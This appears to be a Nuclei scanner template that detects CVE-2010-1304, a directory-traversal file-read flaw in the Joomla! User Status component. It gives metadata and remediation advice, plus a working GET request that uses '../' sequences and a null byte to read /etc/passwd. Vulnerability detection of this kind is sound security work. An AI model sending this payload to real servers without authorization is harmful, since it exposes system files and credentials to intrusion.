id: CVE-2010-1304

info:
  name: Joomla! Component User Status - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in userstatus.php in the User Status (com_userstatus) component 1.21.16 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server through directory traversal in the controller parameter of the User Status component, potentially exposing sensitive configuration files, database credentials in wp-config.php or configuration.php, and user data.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11998
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1304
    - http://www.exploit-db.com/exploits/11998
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57483
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1304
    cwe-id: CWE-22
    epss-score: 0.14041
    epss-percentile: 0.96088
    cpe: cpe:2.3:a:joomlamo:com_userstatus:1.21.16:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_userstatus
  tags: cve,cve2010,joomla,lfi,status,edb,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402204f9b5df54827a48af1083e8cc2d84e22d7afe914cd9f64e25399f70a1e7d589e02202aa20d6d1e622901025adc52f20686abb81963dd3bc754527112de32e394acd0:922c64590222798bb761d5b6d8e72950